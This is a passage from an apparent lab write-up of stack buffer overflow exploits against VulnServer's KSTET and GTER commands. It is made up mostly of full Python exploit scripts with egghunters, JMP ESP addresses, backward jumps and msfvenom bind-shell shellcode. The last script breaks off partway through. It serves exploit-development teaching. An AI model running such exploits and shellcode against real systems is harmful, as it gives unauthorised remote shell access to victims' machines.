buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter    
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

As seen here, the jump was successful and I was redirected to 48 bytes ($-30h) relative to the position of the jump instruction ($). If you’re curious why 48 bytes only, the missing 2 bytes were covered by the opcode \xEB\xCE.

Since everything was working well, I used !mona egg -t Capt to generate the egghunter.

Before using the egghunter, I had to determine first the offset (the number of A’s) before the egghunter code. To do that, I made a simple computation: original 70 bytes of A’s + 4 bytes for JMP ESP + 2 bytes for the backward jump opcodes - 50 bytes for the length of backward jump = 26 bytes of A’s. The following shows what the buffer looked like and its flow:

To test if my computation was correct, I executed the following.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# Egg:  Capt
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter    
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

It worked! I was redirected to the start of the egghunter code.

Then I generated a shellcode using the MSFvenom.

Since the shellcode won’t fit inside the KSTET command, I used the STATS command to send my shellcode. This way, my shellcode would be placed somewhere in memory and let the egghunter find it.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xb8\x43\x44\x5d\xed\xdd\xc0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x53\x31\x46\x12\x03\x46\x12\x83\x85\x40\xbf\x18\xf5\xa1\xbd"
"\xe3\x05\x32\xa2\x6a\xe0\x03\xe2\x09\x61\x33\xd2\x5a\x27\xb8"
"\x99\x0f\xd3\x4b\xef\x87\xd4\xfc\x5a\xfe\xdb\xfd\xf7\xc2\x7a"
"\x7e\x0a\x17\x5c\xbf\xc5\x6a\x9d\xf8\x38\x86\xcf\x51\x36\x35"
"\xff\xd6\x02\x86\x74\xa4\x83\x8e\x69\x7d\xa5\xbf\x3c\xf5\xfc"
"\x1f\xbf\xda\x74\x16\xa7\x3f\xb0\xe0\x5c\x8b\x4e\xf3\xb4\xc5"
"\xaf\x58\xf9\xe9\x5d\xa0\x3e\xcd\xbd\xd7\x36\x2d\x43\xe0\x8d"
"\x4f\x9f\x65\x15\xf7\x54\xdd\xf1\x09\xb8\xb8\x72\x05\x75\xce"
"\xdc\x0a\x88\x03\x57\x36\x01\xa2\xb7\xbe\x51\x81\x13\x9a\x02"
"\xa8\x02\x46\xe4\xd5\x54\x29\x59\x70\x1f\xc4\x8e\x09\x42\x81"
"\x63\x20\x7c\x51\xec\x33\x0f\x63\xb3\xef\x87\xcf\x3c\x36\x50"
"\x2f\x17\x8e\xce\xce\x98\xef\xc7\x14\xcc\xbf\x7f\xbc\x6d\x54"
"\x7f\x41\xb8\xc1\x77\xe4\x13\xf4\x7a\x56\xc4\xb8\xd4\x3f\x0e"
"\x37\x0b\x5f\x31\x9d\x24\xc8\xcc\x1e\x5b\x55\x58\xf8\x31\x75"
"\x0c\x52\xad\xb7\x6b\x6b\x4a\xc7\x59\xc3\xfc\x80\x8b\xd4\x03"
"\x11\x9e\x72\x93\x9a\xcd\x46\x82\x9c\xdb\xee\xd3\x0b\x91\x7e"
"\x96\xaa\xa6\xaa\x40\x4e\x34\x31\x90\x19\x25\xee\xc7\x4e\x9b"
"\xe7\x8d\x62\x82\x51\xb3\x7e\x52\x99\x77\xa5\xa7\x24\x76\x28"
"\x93\x02\x68\xf4\x1c\x0f\xdc\xa8\x4a\xd9\x8a\x0e\x25\xab\x64"
"\xd9\x9a\x65\xe0\x9c\xd0\xb5\x76\xa1\x3c\x40\x96\x10\xe9\x15"
"\xa9\x9d\x7d\x92\xd2\xc3\x1d\x5d\x09\x40\x3d\xbc\x9b\xbd\xd6"
"\x19\x4e\x7c\xbb\x99\xa5\x43\xc2\x19\x4f\x3c\x31\x01\x3a\x39"
"\x7d\x85\xd7\x33\xee\x60\xd7\xe0\x0f\xa1")

# Egg:  Capt
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter    
buffer += "C"*(1000-len(buffer))

# Used to send the 2nd stage shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending shellcode somewhere in memory via STATS command..."
s.send("STATS " + "CaptCapt" + shellcode)
print s.recv(1024)
s.close()

# Used to send the 1st stage shellcode (egghunter)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

Upon executing the final exploit code, the egghunter successfully located my shellcode after the STATS command.

Since the shellcode worked, the target machine spawned a “listening” port on 4444/tcp.

The last thing to do was to connect to the newly opened port to have a shell access.

[VulnServer] Exploiting GTER Command with Limited Buffer Space Using Egghunter

Thu, 28 Jun 2018 00:00:00 +0000

The next command that I tried exploiting was the GTER command. Just like in my previous post, I started fuzzing this command using the following SPIKE template.

The application crashed when SPIKE sent around 5000 bytes of data. To know how the fuzzing was done, please visit my previous post.

For this exploitation, I used the following skeleton.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

I executed the exploit skeleton to cause a crash and to verify that it’s working. From here, I observed that EAX stored the command (GTER) and the string sent by the fuzzer (/.:/ AAAAA…). ESP and EIP were also overwritten with the fuzzed string. One thing to note here was that ESP was only overwritten with 20 bytes of A’s.

To identify the offset that overwrote EIP, I used !mona pc 5000 to create 5000 bytes of unique string that will be used as the buffer.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

Executing the updated code caused EIP to be overwritten with 41396541.

Using !mona findmsp, the data 41396541 was identified with an offset of 147 bytes.

I modified the exploit code again so that 4 B’s would overwrite EIP.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*147
buffer += "BBBB"
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

It did overwrite EIP with 4 B’s so the offset was correct. I also observed that ESP, which was overwritten with only 20 bytes of C’s, was located right after EIP. The buffer of C’s was not enough for a shellcode, which has an average size of 350 bytes.

Before solving the problem with the shellcode space, I first solved the problem with identifying the bad characters. I only had 171 bytes (147 A’s + 4 B’s + 20 C’s) of buffer space. This was not enough to hold the 255 bytes of characters from \x01 to \xFF. (Note: The NULL character (\x00) was already removed.) To deal with the limited buffer space, I had to split them into two. I first sent the characters from \x01 to \x9F.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f")
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, no bad characters was detected from \x01 to \x9F.

After that, I used the remaining characters \xA0 to \xFF.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = ("\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

Again, no bad characters was identified from \xA0 to \xFF. So, the only bad character was the \x00.

The next thing that I did was identify an address containing a JMP ESP instruction so I could redirect the execution of the program to the buffer of C’s. Using !mona jmp -r esp -m “essfunc.dll”, the address 0x625011AF was found.

The code was modified again to the following.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*147
buffer += "\xAF\x11\x50\x62"        #JMP ESP 625011AF from essfunc.dll
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

The code worked and EIP now points to ESP, which contains the buffer of C’s. Again, 20 bytes was not enough to hold a shellcode. By observing the stack, I discovered that the buffer of A’s was located above the buffer of C’s. While the buffer of A’s (147 bytes) was still not enough to host a shellcode, that space would be enough to hold an egghunter.

Before that, I first needed to redirect the program flow to the start of A’s. The buffer of A’s started at 0x00B7F975, while the buffer of C’s was located at 0x00B7FA0C. The difference between them was 0xFFFFFF69 (-151 bytes). So, I had to jump back 151 bytes to reach the buffer of A’s.

Using !mona assemble -s “JMP 0xFFFFFF69”, I was able to get the equivalent opcode of the instruction JMP 0xFFFFFF69. The opcode was good as it didn’t contain a bad character.

I then modified the exploit code to the following, and executed it.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*147
buffer += "\xAF\x11\x50\x62"        # JMP ESP 625011AF from essfunc.dll
buffer += "\xe9\x64\xff\xff\xff"    # JMP 151 bytes backwards to the start of A's
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

The code worked and I was able to reach the start of A’s.

Since everything was working according to what I wanted, I then generated an egghunter using !mona egg -t Capt -cpb "\x00” with a tag/egg of Capt. I also made sure that there will be no bad character from the generated egghunter.

To verify that everything was working so far, I executed the following code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# tag = Capt
# 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = egghunter
buffer += "A"*(147-len(buffer))
buffer += "\xAF\x11\x50\x62"        # JMP ESP 625011AF from essfunc.dll
buffer += "\xe9\x64\xff\xff\xff"    # JMP 151 bytes backwards to the start of A's
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen here, the buffer of A’s was replaced with the egghunter.

Then I generated a shellcode using the following.

The only problem left was the location on where to place the shellcode. I didn’t have more than 355 bytes of buffer space to place my shellcode.

To solve the problem, I reused the other commands available from vulnserver and hoped that my shellcode would be placed somewhere in memory. It should be noted that I already removed the GTER command since it’s the command that I’m exploiting. I also removed the KSTET command since it’s causing problem when sending my shellcode using it. To test if my proposed solution would work, I modified the code to the following and executed it.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xdb\xd8\xd9\x74\x24\xf4\x5a\x29\xc9\xbf\xd1\x60\x90\xf9\xb1"
"\x53\x83\xea\xfc\x31\x7a\x13\x03\xab\x73\x72\x0c\xb7\x9c\xf0"
"\xef\x47\x5d\x95\x66\xa2\x6c\x95\x1d\xa7\xdf\x25\x55\xe5\xd3"
"\xce\x3b\x1d\x67\xa2\x93\x12\xc0\x09\xc2\x1d\xd1\x22\x36\x3c"
"\x51\x39\x6b\x9e\x68\xf2\x7e\xdf\xad\xef\x73\x8d\x66\x7b\x21"
"\x21\x02\x31\xfa\xca\x58\xd7\x7a\x2f\x28\xd6\xab\xfe\x22\x81"
"\x6b\x01\xe6\xb9\x25\x19\xeb\x84\xfc\x92\xdf\x73\xff\x72\x2e"
"\x7b\xac\xbb\x9e\x8e\xac\xfc\x19\x71\xdb\xf4\x59\x0c\xdc\xc3"
"\x20\xca\x69\xd7\x83\x99\xca\x33\x35\x4d\x8c\xb0\x39\x3a\xda"
"\x9e\x5d\xbd\x0f\x95\x5a\x36\xae\x79\xeb\x0c\x95\x5d\xb7\xd7"
"\xb4\xc4\x1d\xb9\xc9\x16\xfe\x66\x6c\x5d\x13\x72\x1d\x3c\x7c"
"\xb7\x2c\xbe\x7c\xdf\x27\xcd\x4e\x40\x9c\x59\xe3\x09\x3a\x9e"
"\x04\x20\xfa\x30\xfb\xcb\xfb\x19\x38\x9f\xab\x31\xe9\xa0\x27"
"\xc1\x16\x75\xdd\xc9\xb1\x26\xc0\x34\x01\x97\x44\x96\xea\xfd"
"\x4a\xc9\x0b\xfe\x80\x62\xa3\x03\x2b\x9d\x68\x8d\xcd\xf7\x80"
"\xdb\x46\x6f\x63\x38\x5f\x08\x9c\x6a\xf7\xbe\xd5\x7c\xc0\xc1"
"\xe5\xaa\x66\x55\x6e\xb9\xb2\x44\x71\x94\x92\x11\xe6\x62\x73"
"\x50\x96\x73\x5e\x02\x3b\xe1\x05\xd2\x32\x1a\x92\x85\x13\xec"
"\xeb\x43\x8e\x57\x42\x71\x53\x01\xad\x31\x88\xf2\x30\xb8\x5d"
"\x4e\x17\xaa\x9b\x4f\x13\x9e\x73\x06\xcd\x48\x32\xf0\xbf\x22"
"\xec\xaf\x69\xa2\x69\x9c\xa9\xb4\x75\xc9\x5f\x58\xc7\xa4\x19"
"\x67\xe8\x20\xae\x10\x14\xd1\x51\xcb\x9c\xf1\xb3\xd9\xe8\x99"
"\x6d\x88\x50\xc4\x8d\x67\x96\xf1\x0d\x8d\x67\x06\x0d\xe4\x62"
"\x42\x89\x15\x1f\xdb\x7c\x19\x8c\xdc\x54")

# tag = Capt
# 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
